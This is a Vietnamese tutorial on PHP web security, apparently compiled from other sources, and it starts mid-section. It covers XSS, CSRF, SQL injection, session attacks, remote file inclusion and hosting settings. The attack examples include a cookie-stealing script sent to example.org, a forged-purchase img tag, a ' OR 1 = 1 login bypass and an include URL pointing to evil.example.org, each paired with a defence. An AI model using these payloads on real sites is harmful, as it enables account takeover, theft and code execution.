$html[’message’] = htmlentities($user_message, ENT_QUOTES, ’UTF-8’); echo $html[’message’]; Escape output danh cho database server nhu cau truc cac lenh truy van ta su dung cac ham *_escape_string() . Tu PHP 5.x bao gom PHP Data Objects (PDO), ban co the su dung prepared statements cho tat ca cac CSDL bang trinh dieu khien PDO.
Su dung chuan bi du lieu trong cau truc giup ban chi ro noi quan trong trong cau lenh SQL va co the su dung nhieu lan trong mot lan khai bao va thay the gia tri trong moi thoi gian.
Vi du don gian de ket noi tham so:
// First, filter the input

$clean = array();

if (ctype_alpha($_POST[’username’])) {
$clean[’username’] = $_POST[’username’]; } // Set a named placeholder in the SQL statement for username $sql = ’SELECT * FROM users WHERE username = :username’;

// Assume the database handler exists; prepare the statement $stmt = $dbh->prepare($sql);

// Bind a value to the parameter

$stmt->bindParam(’:username’, $clean[’username’]);

// Execute and fetch results

$stmt->execute();

$results = $stmt->fetchAll();

5. Dang ki bien toan cuc

(Register Globals) Khi the register_globals duoc dat la ON, tat ca cac bien: chuoi truy van, post Form, Session, cookies … co the su dung ten bien de truy cap thong tin.
Vi du:
gia su bien moi truong register_globals duoc dat la ON bien $loggedin chua duoc khoi tao nen ham checkLogin() cho gia tri la false de dang co the gan $loggedin=1 bang cach truyen them vao chuoi truy van. Cach don gian la gan $loggedin=false o dau doan ma:
if (checkLogin())
{
$loggedin = TRUE;
}
if ($loggedin) {
// do stuff only for logged in users
}
Chung ta bi dieu nay nay la do register_globals la ON vi vay co the gan gia tri cho $loggedin thong qua chuoi truy van, form, cookies…tot nhat khi lam viec voi chung chung ta dung nhung sieu mang do PHP cung cap $_GET, $_POST, or $_COOKIE.
Chu y: truoc PHP 4.2.0 thi register_globals mac dinh la ON nhung tu phien ban sau no thi mac dinh la off va tuong lai PHP 6.0 cung vay

Bao mat trong lap trinh PHP

I. Bao mat website

Bao mat website la phai chu y den tung phan tu cua trang web ma ke tan cong co the loi dung thong qua giao dien cua ung dung. Diem yeu hay bi loi dung nhat do la bao gom form va cac URL, nen viec bao mat web co nghia la kiem tra tinh hopk le cua form va link.

1. Form lua dao

Pho bien ke tan cong su dung la su dung form gia de truyen du lieu, ke tan cong de dang thay doi nhung han che gioi han phia client, khi form duoc submit tat ca du lieu se truyen den ung dung cua ban.

Vi du:
Ma:
<form  method=”POST”  action=”process.php”>
<p>Street:
<input  type=”text”  name=”street”  maxlength=”100″  /></p>
<p>City:
<input  type=”text”  name=”city”  maxlength=”50″  /></p>
<p>State:
<select  name=”state”>
<option  value=”">Pick  a  state…</option>
<option  value=”AL”>Alabama</option>
<option  value=”AK”>Alaska</option>
<option  value=”AR”>Arizona</option>
<!–  options  continue  for  all  50  states  –> </select></p>

<p>Zip:  <input  type=”text”  name=”zip”  maxlength=”5″  /></p>
<p>
<input  type=”submit”  /></p>
</form>

Form tren gioi han do dai toi da cho phep nhap va co the dung javascript de gioi han khi nguoi dung nhap vao va khi form duoc submit thi tat ca du lieu form se chuyen den trang process.php de su ly.
nguoi dung co the the dinh nghia form o noi khac va URL cua action chi den file http://domian.com/process.php chung ta xem vi du:
Ma:
<form  method=”POST”  action=”http://example.org/process.php”>
<p>Street:  <input  type=”text”  name=”street”  /></p> <p>City:  <input  type=”text”  name=”city”  /></p>
<p>State:  <input  type=”text”  name=”state”  /></p> <p>Zip:  <input  type=”text”  name=”zip”  /></p>

<p><input  type=”submit”  /></p>
</form>

Khi ay, neu form duoc submit thi du lieu van duoc dua den file process.php nhu vi du tren ma khong gap bat ky gioi han nao trong form.

Chung ta de dang fix loi nay bang cach kiem tra cac yeu cau su ly tu dau den bang gia tri $_SERVER[‘HTTP_REFERER’] xac nhan yeu cau su ly dung tren site minh moi thuc thi.
mac du co the ngan can moi du lieu xuat phat tu form cua noi khac nhung no khong can thiet phai tu choi tat ca du lieu tu noi khac.

Kiem tra do tin cay cac thong tin tu ben ngoai la can thiet dam bao du lieu submit la phu hop yeu cau trong form and tham chi du lieu tu form gia mao khong the qua duoc bo loc.

2. Tan cong Cross-Site

Tan cong Cross-Site (XSS) la cach tan cong pho bien va la cach tan cong de hieu nhat. Tinh don gian cua kieu tan cong va so luong cac ung dung de bi ton thuong boi kieu tan cong nay nhieu da loi cuon nhung ke co da tam. XSS khai thac su tin tuong nguoi dung va luon co gang lay trom thong tin nguoi dung nhu : cookies and cac thong tin ca nhan khac. Tat ca du lieu nhap vao ung dung.

Ta xet mot vi du form sau. Form co the ton tai tren mot so cac web site cong dong va co the cho phep user khac nhan xet(comment). Sau khi cac loi nhan xet duoc gui thi tat ca cac loi nhan xet duoc hien thi vi vay moi thu cua cac loi nhan xet deu duoc hien thi:

Vi du:
Ma:
<form  method=”POST”  action=”process.php”> <p>Add  a  comment:</p> <p><textarea  name=”comment”></textarea></p> <p><input  type=”submit”  /></p> </form>

Hinh dung mot so nguoi co ac tam gui loi nhan xet voi noi dung sau:
<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’ + document.cookie;

</script>
Bay gio moi nguoi vieng tham cac thong tin dang nhap duoc va cookies chuyen den URL no duoc truyen qua chuoi struy van tren site.ke tan cong de dang dung $_GET[’cookies’] de luu chung de sau su dung.

3. Tan cong bang cach yeu cau cross-site gia A cross-site request forgery (CSRF) la kieu tan cong lam cho khong biet HTTP yeu cau tu dau, thuong no yeu cau quyen truy cap va su dung session cua nan nhan de truy cap. Yeu cau HTTP say ra khi nan nhan dung tai khoan cua minh de mua hang thay doi hoac xoa thong tin nguoi dung.

Khi mot XSS tan cong khai thac su tin tuong cua nguoi dung vao ung dung, mot yeu cau duoc gai mao ung dung duoc nguoi su dung tin tuong, mot yeu cau duoc cho la hop phap duoc gui di that kho co the phat hien ra co phai thuc su nguoi su dung muon thuc hien yeu cau do.

Trong khi do yeu cau duoc dua ra ngoai ung dung ban, thuong su dung la cac cuoc tan cong CSRF. No se khong ngan ngua ung dung nhan yeu cau gai mao. Vay ung dung cua ban phai co kha nang phat hien yeu cau hop le trong do co chua ma co hai hay khong

 Vi du:
Chung ta co 1 web site cho moi nguoi co the dang ki mot account va ho co quyen xem cac muc sach de mua . co the gia thuyet rang mot ke co da tam dang ki mot acount va qua trinh su ly mua sach la trong suot voi site. Cach thuc nay duoc phat hien ra 1 cach tinh co:

+ dang nhap va mua hang
+ Chon 1 cuon sach de mua roi bam vao nut “buy” no se chuyen den trang
+ checkout.php Co ay nhin thay action check out la POST, nhung cac tham
+ so checkout se duoc bo vi chuoi truy van(GET) lam viec Khi dat la
+ checkout.php?isbn=0312863551&qty=1 thi thay bao giao dich thanh cong
Voi dieu mo ke co da tam de dang mua hang tren 1 site ma khong mat dong nao. re dang 1 nguoi su dung co the su dung chen mot the anh (img) vao vung khong duoc phep. noi dung cua the img nhu sau:

<img src=”http://example.org/checkout.php?isbn=0312863551&qty=1″ /> Tham chi image gan o site khac van co the tiep tuc tao ra cai yeu cau mua hang tren site. Hau het moi truong hop yeu cau that bai boi vi user phai dang nhap moi mua duoc hang. Su tan cong nayla su tin tuong cua web site voi nguoi dung. Giai phap cho kieu tan cong nay thay the POST bang GET tan cong duoc la do checkout.php su dung $_REQUEST, mang nay se truy cap va lay isdn va qty.

Chung ta nen su dung POST de giam thieu rui do ve loai tan cong nay. Nhung no khong the bao ve tat ca cac yeu cau da duoc nguy tao.
Mot su tan cong phuc tap co the tao yeu cau POST re rang bang GET. Tru khi co mot phuong phap ngan chan phuong phap ma thong bao(token) nay bat buoc su dung form cua ban. Ma thong bao tao ra bang cach sinh ngau nhien mot ma thong bao va luu no trong session khi user truy cap trang chua form se dat no vao trong form duoi 1 truong an.

Se su ly kiem tra ma thong bao POST tu form voi gia tri luu trong session. Neu dung thi no la yeu cau hop le neu sai thi khong su ly va thay vao do la thong bao loi .

Vi du:
<
Ma:
?php
session_start();
$token  =  md5(uniqid(rand(),  TRUE)); $_SESSION[’token’]  =  $token; ?> <form  action=”checkout.php”  method=”POST”> <input  type=”hidden”  name=”token”  value=”<?php  echo  $token;  ?>”  />
<!–  Remainder  of  form  –>
</form>
su ly khi form duoc submit:

if  (isset($_SESSION[’token’])
&&  isset($_POST[’token’])
&&  $_POST[’token’]  ==  $_SESSION[’token’]) {
//  Token  is  valid,  continue  processing  form  data }

II. Bao mat Database
Khi chung ta truy cap CSDL va chap nhan du lieu dau vao bang cach tao ra cac cau lenh truy van, no de dang bi cac ke gian loi dung tan cong SQl injection. SQL injection xuat hien khi cac ke tan cong muon lam cac “thu nghiem” tren form de lay cac thong tin ve CSDL. No thu thap cac thong tin tu cac thong bao loi SQL . Ke tan cong dinh vao form mot truong injecting SQL, pho bien no thuong dinh vao form dang nhap

Ma:
<form  method=”login.php”  action=”POST”>
Username:  <input  type=”text”  name=”username”  /><br  />
Password:  <input  type=”password”  name=”password”  /><br  /> <input  type=”submit”  value=”Log  In”  /> </form> doan ma su ly dang nhap de bi loi dung:
$username  =  $_POST[’username’];

$password  =  md5($_POST[’password’]);
$sql  =  “SELECT  *
FROM     users
WHERE   username  =  ’{$username}’  AND    password  =  ’{$password}’”;
/*  database  connection  and  query  code  */ if  (count($results)  >  0) {
//  Successful  login  attempt
}

Khi ke tan cong nhap user la :
username’ OR 1 = 1 -
va mat khau de trong thi cau truc cau lenh SQl la:
SELECT *
FROM users
WHERE username = ’username’ OR 1 = 1 –’ AND password = ’d41d8cd98f00b204e9800998ecf8427e’
dieu kien 1=1 thi luon dung cau lenh SQL bo qua tat ca nhung gi sau ‘–’ vi vay cau lenh SQl tren se tra lai tat ca cac ban ghi. Bang cach nay hacker de dang dang nhap vao he thong voi tai khoan bat ky khi da biet ten tai khoan Chung ta tranh duoc loi nay bang cach loc cac ki tu escaping. Bang cach loc du lieu dau vao va loc escaping khi xuat ra chung ta se tranh duoc loi SQL injection chung ta loc escaping bang nhom ham *_escape_string()

III. Bao mat Session

Co hai kieu tan cong session pho bien nhat do la session co dinh(session fixation) va cuop session ( session hijacking) Khi mot nguoi trieu goi trang web lan dau tien ung dung se goi session_start() de tao ra sesion cho user. PHP se tu dong sinh ngau nhien mot dinh danh khac nhau cho moi user. Va sau do no send tao mot tren cookies voi ten mac dinh la PHPSESSID ban co the thay doi ten mac dinh cua no bang cach thay doi no trong php.ini hoac dung ham session_name() .

Tu lan vieng tham sau no se dinh danh user bang cookies. Tuy nhien co the gan session qua chuoi truy van. Day la cach de rang de tan cong session fixation boi vi ke tan cong co the thay doi gia tri PHPSESSID.

Cach pho bien la luu tru link trong ung dung cua ban noi them session id va sau du nguoi dung kich vao <a href=”http://example.org/index.php?PHPSESSID=1234″>Click here</a> Trong khi truy cap thuong hay luu thong tin dang nhap trong session. Neu user dang nhap vao voi cung session id thi ke tan cong cung co the truy cap voi session id do vi vay co the truy cap vao thay doi cac thong tin account . Quan trong hon la no se tien toi chiem quyen dieu khien cua nhung acount quan tri.

Chung ta co the xuat tat ca cac session id cua tat ca cac user bang ham session_regenerate_id()
Ma:
session_start();
//  If  the  user  login  is  successful,  regenerate  the  session  ID if  (authenticate()) { session_regenerate_id(); }

Cach lam tren chi bao ve user boi cach tan cong session fixed va de dang de nghi truy cap cua cac ke tan cong . No khong giup chong lai duoc cac kieu tan cong pho bien khac nhu kieu session hijacking. Dung hon la cai nay la mot cai chung ma thoi han mo ta boi bat ki cai gi do co nghia boi cac ke tan cong kiem duoc nhung session id cua user huu ich.
Vi du, mot user tin rang khi dang nhap thi session id duoc dinh nghia lai va co mot session moi. cai gi se say ra neu cac ke tan cong ma phat hien ID moi va co gang truy cap vao session cua user ?
Session ID de dinh danh cac yeu cau khac nhau cua cac user khac nhau. mot yeu cau dau duoc tro giup dac biet va khong thay doi giua cac yeu cau dau khac nhau. neu khong chac chan(chiem truong hop it) user tu mot trinh duyet co the chuyen no thanh cai khac trong khi dang su dung cung phien lam viec. cac yeu cau dau de xac dinh ro kieu tan cong session hijacking.

Sau khi user dang nhap luu tac nhan user (User-Agent ) vao session:
$_SESSION[’user_agent’] = $_SERVER[’HTTP_USER_AGENT’]; Va sau do khi trang duoc load lan hai kiem tra chac chan rang User-Agent khong duoc thay doi. Neu no bi thay doi len cho dang nhap lai

Ma:
if  ($_SESSION[’user_agent’]  !=  $_SERVER[’HTTP_USER_AGENT’])
{

//  Force  user  to  log  in  again exit;

}

IV. Bao mat Filesystem

PHP co kha nang truy cap truc tiep he thong files va co the thuc hien cac lenh shell, no cung cap cho cac nha phat trien suc manh lon, no thuc su nguy hiem khi lam hong du lieu dau cuoi bang cac comand line. Mot lan nua du lieu lai phai loc.

1. Thuc thi ma lenh tu xa(remote Code Injection ) Khi khai bao chen vao file bang include hoac requre chu y can than khi su dung du lieu “hong” de tao mot su khai bao bao ham(include) dong tren du lieu nhap tu client, boi vi mot loi co the de dang cho phep hacker co the thuc hien cac cuoc tan cong tu xa. Mot cuoc tan cong tu xa xay ra khi mot ke tan cong co the thuc hien doan ma ma ho da chon tren ung dung cua chung ta. Dieu do giup cho ke tan cong co the tan pha ca ung dung lan he thong.

Vi du, rat nhieu ung dung cho phep tao va su dung chuoi truy van vao cau truc nhung muc cua ung dung vi du : http://example.org/?section=news . Mot ung dung co the cau truc inclue de chen ma news vao ung dung:
clude “{$_GET[’section’]}/data.inc.php”;
khi su dung URL truy cap vao nhung muc news/data.inc.php . Tuy nhien phai can nhac ky chuyen gi xay ra neu cac ke tan cong thay doi chuoi truy van co hai cho site:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

du lieu nguy hiem se duoc include vao he thong ket qua cua cach lam tren la include “http://evil.example.org/attack.inc?/data.inc.php”;
attack.inc duoc inclue vao he thong va thuc thi ma trong do, cac ke tan cong co the lam bat ky dieu gi ma ho muon chi can de no trong attack.inc . when do ke tan cong co the chiem tat ca quyen ma ho muon.

Vi du:
Ma:
$clean  =  array();
$sections  =  array(’home’,  ’news’,  ’photos’,  ’blog’); if  (in_array($_GET[’section’],  $sections))
{
$clean[’section’]  =  $_GET[’section’]
}else {
$clean[’section’]  =  ’home’
}

include “{clean[’section’]}/data.inc.php”;

2. Cac lenh injecttion

Mot site cho phep include du lieu dong vao file rat nguy hiem, no cho phep user thuc thi cac lenh tren he thong. PHP cung cap cac cac ham nhu exec(), system() va passthru() giup chung ta co the thuc thi nhung lenh tren he thong. Viec loc whilelist giam thieu cac cau lenh co hai cho he thong.
Php cung cap ham escapeshellcmd() and escapeshellarg() De lia bo nhung cau lenh escape shell cho he thong

V. Shared Hosting
Co rat nhieu van de nay sinh khi su dung host dung chung, truoc day PHP giai quyet van de nay bang chi thi safe_mode .
Tuy nhien no sai khi co gang dung no de phan cap tai muc PHP. Safe_mode khong san sang o PHP 6. Co 3 chi thi quan trong trong viec chia se hosting: open_basedir disable_functions va disable_classes. Ba chi thi nay khong phu thuoc vao safe_mode va chung the san sang trong tuong lai Open_basedir la chi thi gioi han truy cap den truy cap file tren cau truc cay thu muc. khi PHP co gang mo mot file bang open() hoac include neu ton tai thi no se duoc chi ro cay thu muc bang open_basedir neu khong thi no se khong mo file.
Co the khai bao trong php.ini ham open_basedir cho tung cho tung host ao. PHP chi cho phep mo file o dia chi /home/user/www and /usr/local/lib/php (cai nay duoc mac dinh trong thu vien PEAR):

Ma:
<VirtualHost  *>

DocumentRoot  /home/user/www ServerName     www.example.org

<Directory  /home/user/www>

php_admin_value  open_basedir  “/home/user/www/:/usr/local/lib/php/” </Directory>

</VirtualHost>

Chi thi disable_functions va disable_classes tuong tu nhau no cho phep disable mot ham hoac 1 lop nao do bat ky ham nao va lop nao trong danh sach nay deu khong co chuc nang cho he thong.
ban co the thay doi thong so trong php.ini nhu sau:
; Disable functions

disable_functions = exec,passthru,shell_exec,system

; Disable classes

disable_classes = DirectoryIterator,Directory

Nguon: Tong hop

Cách bảo mật PHP

Giới thiệu bảo mật
Giới thiệu cho bạn bè
  • gplus
  • pinterest

Bình luận

  1. [11/7/2018 10:10:43 PM] :

Đăng bình luận

Đánh giá